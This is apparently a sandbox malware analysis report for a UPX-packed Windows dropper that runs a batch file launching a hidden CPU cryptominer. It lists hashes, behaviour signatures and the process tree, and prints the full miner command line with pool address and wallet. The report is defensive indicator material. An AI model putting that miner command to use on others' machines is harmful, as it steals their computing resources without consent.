73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
292s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 16:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
2812	b2e.exe
3760	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3760	cpuminer-sse2.exe
3760	cpuminer-sse2.exe
3760	cpuminer-sse2.exe
3760	cpuminer-sse2.exe
3760	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1124-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 2812	1124	batexe.exe	85
PID 1124 wrote to memory of 2812	1124	batexe.exe	85
PID 1124 wrote to memory of 2812	1124	batexe.exe	85
PID 2812 wrote to memory of 3428	2812	b2e.exe	87
PID 2812 wrote to memory of 3428	2812	b2e.exe	87
PID 2812 wrote to memory of 3428	2812	b2e.exe	87
PID 3428 wrote to memory of 3760	3428	cmd.exe	89
PID 3428 wrote to memory of 3760	3428	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe

Filesize
3.7MB

MD5
1123bffcc408723dc4682ffef5e790dc

SHA1
75f27697ac3904b5cc6a658c79cd06c0991cf131

SHA256
f57fbe4055f59cae35fc24d5cfe1600f9e31f9cb7ab20aa91e6e90903b841a58

SHA512
1ce991749fd1b5cce026c7b4eb15a8e1d09ad86acd50c5b442f2909c9552c39e4707de58354dd4a655f4a6f048b22f4aab7eaef866a855959d5780337e67045c

Download Submit
C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe

Filesize
398KB

MD5
ea97e54b77c5f664b6b5462f72e85b3e

SHA1
70981592ff9812dc78024b32b118daab89300c60

SHA256
b56364fca29f2f207913b694fcb255952aeadebac46ec67559603a75396216bc

SHA512
be1e68195f10b894112d5de037bfa23fc8d816efce315da587b552c9c2c24fc00f7684951495c486782a62c998e6a210a2b078edf1200315b4cf0629c75f1c7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\B769.tmp\b2e.exe

Filesize
108KB

MD5
4ea10a697a666707e71f9a55dc365539

SHA1
a62606df64c7aa85c80cbcd24071d68344bcbefa

SHA256
3e12a740b3e2d58a0e6c8f5fac0a6fc2c072fb6da5acdd692599e5ff19d24b6d

SHA512
36894eae4bbca52b36a9d76e1317f9da65b4cecca243d690b4d3cba3f95d1f3d29056da29f8fe42f22614afb517db2282ca831aa1ebb5d8a735261a5b074c0e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
728cd196241434f3b4b14d64c4ba2e7d

SHA1
4a6eb3c8221ac68fc59c7e38076d03f71eda5598

SHA256
5f15fd3aa75405d0e0f0c328ec162f6ec7de428f19d592ba9e3a2a2cf3e715e8

SHA512
da54499ce3c3bb177a1ca72c9825af9d14438c8e3faec0784e64b32c8ca5f5a35a042ede87f3e54ddaebd027a632abad2c25f4999b4220bfd488aa0476f25b28

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
726772e18dcfba67701e7d7091bf9a33

SHA1
f4ae7b316dd2bda41900089edbd3cc79ec1e3b3e

SHA256
38aa97f4bf7a8888767f540624aa93d6e3fe635483d278d4a8fbe949647e502e

SHA512
761f647536a88c461187245fb2f58672e872291c8d6c8498ab43bc341284cca727465565d0b477cb93eb82980d1b31ea846878082a84efa09821039ac55e285d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
06a276324901528ffd1dac1071e43c61

SHA1
ffc3c668cd6299bc8521b392c2f6ad33e06b7ec0

SHA256
ec67a5c5411668d253ff4dad0b099e296d2f827911d82a06ef814d6c9e7b9e1a

SHA512
e9b226ac2cb2259d1a04584fea0b78dfd2de6b7bad7fa48beba7299066cce26019b6400dc57f79414a79ede01400f4f3e6edee2f3c5bbae62b762039d7ca3458

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
4bf4d885dfe578b2d602eab6a6143553

SHA1
e5bf971fdc2a736c3852c36c1d712b7d3810844c

SHA256
154096f47756ca44127c19a5d4473238c89412fcc523aa8bd22d48510eeb48fd

SHA512
7d1a5ca539fcb5a76c10aa632a55c5f25a2a1e4425134ebcb1c9fdac0d32b09f934b4e60ff531928ad14be5b16c525826d52b9c5e134ad065830a688e6d5ed89

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
79b9d92ffacb4a96073c2413c16df1d0

SHA1
33d6d1245b1486857b4268ada2b47ae788533362

SHA256
4611e586bac68c0c39cc6dbd096e4c65547ce1bf4ae95ecac5e6d3465112e8ec

SHA512
ed77e76232d2a0666a2e7f24072dd6d16074a629395ed1b48a6e1436bad257e36aaab978b8088308caa3c1b299ed52ba81894501e72dfcec1086966537ca11b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1124-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2812-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2812-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3760-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3760-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/3760-47-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/3760-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3760-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3760-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download